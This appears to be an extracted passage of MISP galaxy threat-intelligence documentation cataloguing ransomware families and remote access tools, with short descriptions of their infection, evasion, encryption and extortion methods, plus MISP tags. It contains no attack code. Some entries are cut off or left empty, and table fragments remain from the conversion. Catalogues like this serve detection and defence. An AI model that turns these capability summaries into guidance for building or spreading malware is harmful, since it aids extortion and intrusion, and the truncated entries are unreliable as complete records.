Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.

The tag is: misp-galaxy:ransomware="Razor"

Wadhrama

The tag is: misp-galaxy:ransomware="Wadhrama"

Mespinoza

Mespinoza ransomware is used at least since October 2018. First versions used the common extension ".locked". Since December 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: `misp-galaxy:ransomware="Mespinoza"`

Mespinoza is also known as:

- Pyza
- Pysa

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake web site pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: `misp-galaxy:ransomware="CoronaVirus"`
Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: misp-galaxy:ransomware="Snake Ransomware"

Table 7930. Table References

</thead>
</table>

eCh0raix

Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below. eCh0raix was first seen in June 2019, after victims began reporting ransomware attacks in a forum topic on BleepingComputer. On June 1st, 2020, there has been a sudden surge of eCh0raix victims seeking help in our forums and submissions to the ransomware identification site ID-Ransomware.

**SunCrypt**

SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware’s cartel. It also follows some of Maze’s tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros), torrent websites, malicious ads act as carriers for this ransomware.

The tag is: **misp-galaxy:ransomware=“SunCrypt”**

SunCrypt is also known as:

- Sun
- Suncrypt

*Table 7933. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**LockBit**

LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind
this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force. After gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.

The tag is: `misp-galaxy:ransomware="LockBit"`

LockBit is also known as:

- ABCD ransomware

View relationships graph

LockBit has relationships with:

- similar: `misp-galaxy:ransomware="Lockbit3"` with `estimative-language:likelihood-probability="likely"

Babuk Ransomsware

Since this is the first detection of this malware in the wild, it's not surprising that Babuk is not
obsfuscated at all. Overall, it's a pretty standard ransomware that utilizes some of the new
techniques we see such as multi-threading encryption as well as abusing the Windows Restart
Manager similar to Conti and REvil. For encrypting scheme, Babuk uses its own implementation of
SHA256 hashing, ChaCha28 encryption, and Elliptic-curve Diffie–Hellman (ECDH) key generation and
exchange algorithm to protect its keys and encrypt files. Like many ransomware that came before,
it also has the ability to spread its encryption through enumerating the available network
resources.

The tag is: `misp-galaxy:ransomware="Babuk Ransomware"`

**Darkside**

Darkside, the latest ransomware operation to emerge has been attacking organizations beginning
earlier this month. Darkside's customized attacks on companies have already garnered them
million-dollar payouts. Through their “press release”, these threat actors have claimed to be
affiliated with prior ransomware operations making millions of dollars. They stated that they
created this new product to match their needs, as prior products didn’t. Darkside explains that they
only target companies they know that can pay the specified ransom. They have allegedly promised
that they will not attack the following sectors. They include medicine, education, non-profit
organizations, and the government sector.

The tag is: `misp-galaxy:ransomware="Darkside"`

Darkside is also known as:

- BlackMatter

**RansomEXX**

We recently discovered a new file-encrypting Trojan built as an ELF executable and intended to
encrypt data on machines controlled by Linux-based operating systems. After the initial analysis we
noticed similarities in the code of the Trojan, the text of the ransom notes and the general approach
to extortion, which suggested that we had in fact encountered a Linux build of the previously
known ransomware family RansomEXX. This malware is notorious for attacking large
organizations and was most active earlier this year. RansomEXX is a highly targeted Trojan. Each
sample of the malware contains a hardcoded name of the victim organization. Moreover, both the encrypted file extension and the email address for contacting the extortionists make use of the victim’s name.

The tag is: `misp-galaxy:ransomware="RansomEXX"`

RansomEXX is also known as:

- Ransom X
- Defray777
- Defray-777
- Defray 2018

**CovidLock**

Mobile ransomware. The Zscaler ThreatLabZ team recently came across a URL named https://coronavirusapp[.]site/mobile.html, which portrays itself as a download site for an Android app that tracks the coronavirus spread across the globe. In reality, the app is Android ransomware, which locks out the victim and asks for ransom to unlock the device. The app portrays itself as a Coronavirus Tracker. As soon as it starts running, it asks the user for several authorizations, including admin rights. In fact, this ransomware does not encrypt nor steal anything and only lock the device with an hard coded code.

The tag is: `misp-galaxy:ransomware="CovidLock"`

</table>
Tycoon

This malware is written in Java and is named after references in the code. Tycoon has been in the wild since December 2019 and has targeted organizations in the education, SMBs, and software industries. Tycoon is a multi-platform Java ransomware that targets Windows and Linux systems. This ransomware denies access to the system administrator following an attack on the domain controller and file servers. The initial intrusion occurs through an internet-facing remote desktop protocol (RDP) jump-server.

The tag is: misp-galaxy:ransomware="Tycoon"

Ragnar Locker

Ragnar Locker is a ransomware identified in December 2019 that targets corporate networks in Big Game Hunting targeted attacks. This report presents recent elements regarding this ransomware.

The tag is: misp-galaxy:ransomware="Ragnar Locker"

Ragnar Locker is also known as:

- RagnarLocker

View relationships graph

Ragnar Locker has relationships with:

- similar: misp-galaxy:mitre-malware="Ragnar Locker - S0481" with estimative-language:likelihood-probability="likely"

Sekhmet

Ransom.Sekhmet not only encrypts a victim's files, but also threatens to publish them.
The tag is: misp-galaxy:ransomware="Sekhmet"

View relationships graph

Sekhmet has relationships with:

- similar: misp-galaxy:ransomware="Egregor" with estimative-language:likelihood-probability="likely"

MedusaLocker

Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims’ networks. The MedusaLocker actors encrypt the victim’s data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom; and the developer, who receives the remainder.

Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

**ProLock**

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

**Conti**

Conti ransomware is a RaaS and has been observed encrypting networks since mid-2020. Conti was developed by the “TrickBot” group, an organized Russian cybercriminal operation. Their reputation has allowed the group to create a strong brand name, attracting many affiliates which has made Conti one of the most widespread ransomware strains in the world. One of the last known “Conti” attacks was against the government of Costa Rica in April 2022 causing the country to declare a state of emergency. Shortly after this final attack, the “Conti” brand disappeared. The group behind it likely switched to a different brand to avoid sanctions and start over with a new, clean reputation.

The tag is: `misp-galaxy:ransomware="Conti"`

**View relationships graph**

Conti has relationships with:

- parent-of: `misp-galaxy:ransomware="QuantumLocker"` with `estimative-language:likelihood-probability="likely"`

BlackCat

BlackCat (ALPHV) is ransomware written in Rust. The ransomware makes heavy use of plaintext JSON configuration files to specify the ransomware functionality. BlackCat has many advanced capabilities like escalating privileges and bypassing UAC make use of AES and ChaCha20 or Salsa
encryption, may use the Restart Manager, can delete volume shadow copies, can enumerate disk volumes and network shares automatically, and may kill specific processes and services. The ransomware exists for both Windows, Linux, and ESXi systems. Multiple extortion techniques are used by the BlackCat gang, such as exfiltrating victim data before the ransomware deployment, threats to release data if the ransom is not paid, and distributed denial-of-service (DDoS) attacks.

The tag is: misp-galaxy:ransomware="BlackCat"

BlackCat is also known as:

Rook

Ransomware

The tag is: misp-galaxy:ransomware="Rook"

Table 7954. Table References
HelloXD

HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021. During our research we observed multiple variants impacting Windows and Linux systems. Unlike other ransomware groups, this ransomware family doesn't have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.

The tag is: misp-galaxy:ransomware="HelloXD"

Maui ransomware

Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.

The tag is: misp-galaxy:ransomware="Maui ransomware"

Lorenz Ransomware

Lorenz is a ransomware group that has been active since at least February 2021 and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems.

The tag is: misp-galaxy:ransomware="Lorenz Ransomware"
**Hive**

First observed in June 2021, Hive ransomware was originally written in GoLang but recently, new Hive variants have been seen written in Rust. Targets Healthcare sector.

The tag is: `misp-galaxy:ransomware="Hive"`

BlackBasta

Black Basta is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: `misp-galaxy:ransomware="BlackBasta"`

View relationships graph

BlackBasta has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"
BlackByte

BlackByte is recently discovered Ransomware with a .NET DLL core payload wrapped in JavaScript. It employs heavy obfuscation both in its JavaScript wrapper and .NET DLL core.

Once the JavaScript wrapper is executed, the malware will de-obfuscate the core payload and execute it in memory. The core .DLL is loaded and BlackByte will check the installed operating system language and terminate if an eastern European language is found.

It will proceed to check for the presence of several anti-virus and sandbox-related .DLLs, attempt to bypass AMSI, delete system shadow-copies in order to hinder system recovery, and modify several other system services (including Windows Firewall) in order to “prep” the system for encryption. Once the system is “ready” for encryption, it will download a symmetric key-file which will be used to encrypt files on the system. If this file is not found, the malware will terminate.

Unlike most Ransomware today, BlackByte uses a single symmetric encryption key, and does not
generate a unique encryption key for each victim system, meaning the same key can be used to decrypt all files encrypted by the malware.

This makes for substantially easier key-management for the actors behind BlackByte at the cost of a weaker encryption scheme and easier victim system recovery (as there is only a single online point with a single key to maintain).

As with most Ransomware today, BlackByte has worming capabilities and can infect additional endpoints on the same network.

The tag is: misp-galaxy:ransomware="BlackByte"

View relationships graph

BlackByte has relationships with:

- successor-of: misp-galaxy:ransomware="Conti" with estimative-language:likelihood-probability="likely"

AvosLocker

In March 2022, the FBI and the U.S. Treasury Financial Crimes Enforcement Network released a joint advisory addressing AvosLocker and their activity targeting organizations across several critical infrastructure sectors. The RaaS gang deploys ransomware onto their victim's networks and systems, then threatens to leak their files on the dark web if they don't pay up. AvosLocker is both the name of the RaaS gang, as well as the name of the ransomware itself.

In May 2022, AvosLocker took responsibility for attacking and stealing data from the Texas-based healthcare organization, CHRISTUS Health. CHRISTUS Health runs hundreds of healthcare facilities across Mexico, the U.S., and South America. The group stole information from a cancer patient registry which included names, social security numbers, diagnoses, dates of birth, and other medical information. The nonprofit Catholic health system has more than 600 healthcare facilities in Texas, Louisiana, New Mexico, and Arkansas. There are also facilities in Columbia, Mexico, and Chile.

Fortunately, the ransomware attack was quickly identified and was limited. While other healthcare organizations have not been as fortunate with ransomware attacks, the AvosLocker attack didn't impact CHRISTUS Health's patient care or clinical operations. CHRISTUS Health didn't reveal whether or not the security incident included ransomware, data exfiltration or extortion, but due to AvosLocker's reputation, it is more than likely that the incident included at least one of the three.

The tag is: misp-galaxy:ransomware="AvosLocker"
AvosLocker is also known as:

- Avos

</table>
0Mega

0mega, a new ransomware operation, has been observed targeting organizations around the world. The ransomware operators are launching double-extortion attacks and demanding millions of dollars as ransom.

0mega ransomware operation launched in May and has already claimed multiple victims. 0mega maintains a dedicated data leak site that the attackers use to post stolen data if the demanded ransom is not paid. The leak site currently hosts 152 GB of data stolen from an electronics repair firm in an attack that happened in May. However, an additional victim has since been removed, implying that they might have paid the ransom to the 0mega group.

How does it work? Hackers add the .0mega extension to the encrypted file's names and create
ransom notes (DECRYPT-FILES[.]txt). The ransom note has a link to a Tor payment negotiation site with a support chat to reach out to the ransomware group. To log in to this site, the victims are asked to upload their ransom notes with a unique Base64-encoded blob identity.

Arvinclub

Arvin Club is a popular Ransomware group with a widespread Telegram presence, which includes personal group chats, and official channels. The group recently launched their official TOR/Onion website to update their status and release details of their latest attacks and data breaches. Their latest target is Kendriya Vidyala, a chain of Schools in India. The group has exposed the Personally Identifiable Information (PII) of some students.

The tag is: `misp-galaxy:ransomware="Arvinclub"`

Arvinclub is also known as:

- Arvin Club
Atomsilo

AtomSilo is a new Ransomware recently seen in September 2021 during one of their attacks by exploiting a recently revealed vulnerability (CVE-2021-26084) in Atlassian's Confluence Collaboration Software for initial access. The Ransomware used the double extortion method which is gaining popularity among ransomware threat actors where they first, exfiltrate the confidential information and as a second step encrypt the system files.

The tag is: misp-galaxy:ransomware="Atomsilo"

### Bianlian

BianLian used subtle techniques to exploit, enumerate, and move laterally in victim networks to remain undetected and aggressively worked to counter Endpoint Detection & Response (EDR) protections during the encryption phase of their operations. The group has displayed signs of being new to the practical business aspects of ransomware and associated logistics. Generally they seemed to be experiencing the growing pains of a group of talented hackers new to this aspect of criminal extortion.

Infrastructure associated with the BianLian group first appeared online in December 2021 and their toolset appears to have been under active development since then. Finally, we have observed the BianLian threat actor tripling their known command and control (C2) infrastructure in the
month of August, suggesting a possible increase in the actor's operational tempo.

RAT
remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they
have physical access to that system.

RAT is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

**DarkRat**

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: misp-galaxy:rat="DarkRat"

**LuxNET**

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: *misp-galaxy:rat="LuxNET"*

**NJRat**

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: *misp-galaxy:rat="NJRat"*

NJRat is also known as:

- Njw0rm

View relationships graph

NJRat has relationships with:

</tr>
</thead>
</table>

**Predator Pain**

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.
XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program.

Gh0st RAT has relationships with:

- similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
Plasma RAT

Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: misp-galaxy:rat="Plasma RAT"

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: misp-galaxy:rat="Babylon"

Imminent Monitor

RAT

The tag is: misp-galaxy:rat="Imminent Monitor"

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes
with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.

The tag is: `misp-galaxy:rat="DroidJack"`

**Quasar RAT**

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

**Dendroid**

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening
a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physical devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well-known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods. However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

**Turkojan**

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: *misp-galaxy:rat="Turkojan"*
TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: \texttt{misp-galaxy:rat="TINY"}

SharK

SharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With SharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: \texttt{misp-galaxy:rat="SharK"}

SharK is also known as:

- SHARK
- Shark

View relationships graph

SharK has relationships with:

- similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.
Snowdoor is also known as:

- Backdoor.Blizzard
- Backdoor.Fxdoor
- Backdoor.Snowdoor
- Backdoor:Win32/Snowdoor

Paradox

SpyNote

Android RAT

SpyNote has relationships with:

- similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

ZOMBIE SLAYER

**Windows Remote Desktop**

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: *misp-galaxy:rat="Windows Remote Desktop"

**RemotePC**

RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.
Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that's absolutely perfect for on-demand, instant support.

Seecreen is also known as:

- Firnass

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

Chrome Remote Desktop has relationships with:

- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.
LiteManager

LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: `misp-galaxy:rat="LiteManager"`

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: `misp-galaxy:rat="Comodo Unite"`

ShowMyPC

ShowMyPC is a portable and free remote access program that's nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: `misp-galaxy:rat="ShowMyPC"`

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.
DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter's screen.

Casa RAT

The tag is: *misp-galaxy:rat="Casa RAT"

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: *misp-galaxy:rat="Bandook RAT"
Cerberus RAT

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: misp-galaxy:rat="NanoCore"

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: *misp-galaxy:rat="Xsser"*

Xsser is also known as:

- mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of
grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: `misp-galaxy:rat="Quaverse"`

Quaverse is also known as:

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed “the Seven Pointed Dagger,” managed by another group, “Group 27,” who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: misp-galaxy:rat="Trochilus"

Links

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazilian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away. Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

Vjw0rm 0.1

“Vengeance Justice Worm” was first discovered in 2016 and is a highly multifunctional, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.

VJw0rm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.

VJw0rm is propagated primarily by malicious email attachments and by infecting removable storage devices.

Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removable drive is found, VJw0rm will infect it if configured to do so.

It will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected.
VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.

Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.

The tag is: misp-galaxy:rat="vjw0rm 0.1"

vjw0rm 0.1 is also known as:

- Vengeance Justice Worm
- VJw0rm
- VJwOrm

**rokrat**

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hanguel Word Processor (HWP) document sent in spear phishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a subject line, "Request Help" and attached malicious HWP filename, "I'm a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

**RATAttack**

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.

**DNSMessenger**

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

htpRAT

